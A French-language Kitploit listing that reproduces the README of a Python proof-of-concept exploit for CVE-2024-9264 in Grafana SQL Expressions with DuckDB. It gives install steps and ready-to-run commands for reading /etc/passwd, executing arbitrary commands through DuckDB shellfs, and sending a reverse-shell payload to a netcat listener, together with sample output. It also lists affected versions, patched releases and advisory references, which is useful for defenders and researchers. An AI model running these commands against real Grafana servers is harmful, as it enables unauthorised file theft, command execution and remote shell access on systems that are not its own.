Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Outils/GitHubGitHub/ozcanpng/cve-2024-9264
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et Éducation
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Voir le dépôt
il y a 29 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

Preuve de concept en Python pour CVE-2024-9264, une vulnérabilité de Grafana SQL Expressions qui peut permettre l'inclusion locale de fichiers après authentification et l'exécution de commandes lorsque duckdb est disponible dans le PATH du processus Grafana.

Réservé aux tests et à la recherche autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.


Fonctionnement

root@kitploit:~
accès API Grafana authentifié -> requête SQL Expressions DuckDB -> lecture de fichier -> exécution de commande shellfs facultative
  1. Envoie une requête authentifiée au point de terminaison de requête de la source de données SQL Expressions de Grafana.
  2. Lit les fichiers avec DuckDB read_blob(). Si l'exécution de commandes est demandée, /etc/passwd est d'abord utilisé comme fichier de validation par défaut.
  3. Charge éventuellement DuckDB shellfs et exécute une commande via un appel read_csv() adossé à un tube.
  4. Lit la sortie de la commande depuis /tmp/cve_2024_9264_out et affiche le résultat décodé.

Le point de terminaison vulnérable peut être appelé directement via l'API ; aucune interaction avec l'interface du tableau de bord n'est requise. L'authentification reste néanmoins requise.


Captures d'écran

Exécution de commandes

Preuve d'exécution de commande

Payload de reverse shell

Livraison du payload de reverse shell

Écouteur de reverse shell

Écouteur de reverse shell


Installation

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Utilisation

Lecture de fichier

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

Lorsque --file est utilisé seul, le script lit directement ce fichier et affiche le contenu décodé dans la section des résultats de lecture de fichier.

Exécution de commandes

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

Le script effectue d'abord une validation par lecture du fichier /etc/passwd par défaut, puis délivre le payload de la commande. Dans la section des résultats, il affiche la sortie décodée de la commande au lieu de la réponse JSON brute de Grafana.

Reverse shell

Démarrez un écouteur :

root@kitploit:~
rlwrap nc -lvnp 4444

Envoyez le payload de reverse shell :

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Essai à blanc

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Débogage

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Options

Ces options sont basées sur l'interface en ligne de commande actuelle du script :

root@kitploit:~
-u, --url, --target TARGET
                        URL cible, p. ex. http://localhost:3000
--username USERNAME     Nom d'utilisateur Grafana. Défaut : admin
--password PASSWORD     Mot de passe Grafana. Défaut : admin
--file FILE             Chemin du fichier à lire. Chemin de preuve par défaut : /etc/passwd
--expected-marker MARKER
                        Marqueur attendu dans la réponse de lecture du fichier. Défaut : root:
--cmd CMD               Commande à exécuter via le chemin shellfs de DuckDB
--reverse-shell         Exécuter un payload bash de reverse shell
--lhost LHOST           Hôte de l'écouteur pour --reverse-shell
--lport LPORT           Port de l'écouteur pour --reverse-shell
--timeout TIMEOUT       Délai d'expiration HTTP en secondes. Défaut : 20
--verify-tls            Vérifier les certificats TLS. Défaut : activé
-k, --insecure          Désactiver la vérification des certificats TLS
--dry-run               Afficher les métadonnées de la cible et du payload sans envoyer de requêtes
--debug                 Afficher les métadonnées de débogage des requêtes

Exemple de sortie

Lecture de fichier

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Exécution de commandes

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

Versions concernées

ProduitVersion concernéeAccès requisImpact
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x et 11.2.x avant les versions de sécurité corrigéesViewer ou supérieurInclusion locale de fichiers et injection de commandes lorsque DuckDB est présent dans le PATH de Grafana

Grafana indique que l'exploitation nécessite que le binaire duckdb soit présent dans le PATH du processus Grafana ; les distributions Grafana standard n'installent pas DuckDB par défaut.


Remarques

  • Des identifiants Grafana valides sont requis.
  • Le compte doit disposer des autorisations Viewer ou supérieures.
  • L'exploitation directe via l'API ne signifie pas une exploitation sans authentification ; les requêtes nécessitent toujours une session valide ou des identifiants Basic Auth.
  • La lecture de fichier est utilisée comme première étape de validation avant l'exécution de commandes.
  • L'exécution de commandes dépend de DuckDB et du comportement de l'extension shellfs dans l'environnement cible.
  • Pour les cibles TLS utilisant des certificats auto-signés, passez -k ou --insecure.
  • Les versions de sécurité corrigées incluent Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 et 11.2.2+security-01.

Références

  • Avis de sécurité Grafana - CVE-2024-9264
  • Blog de la version de sécurité Grafana
  • NVD - CVE-2024-9264

Auteur

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Télécharger l’outil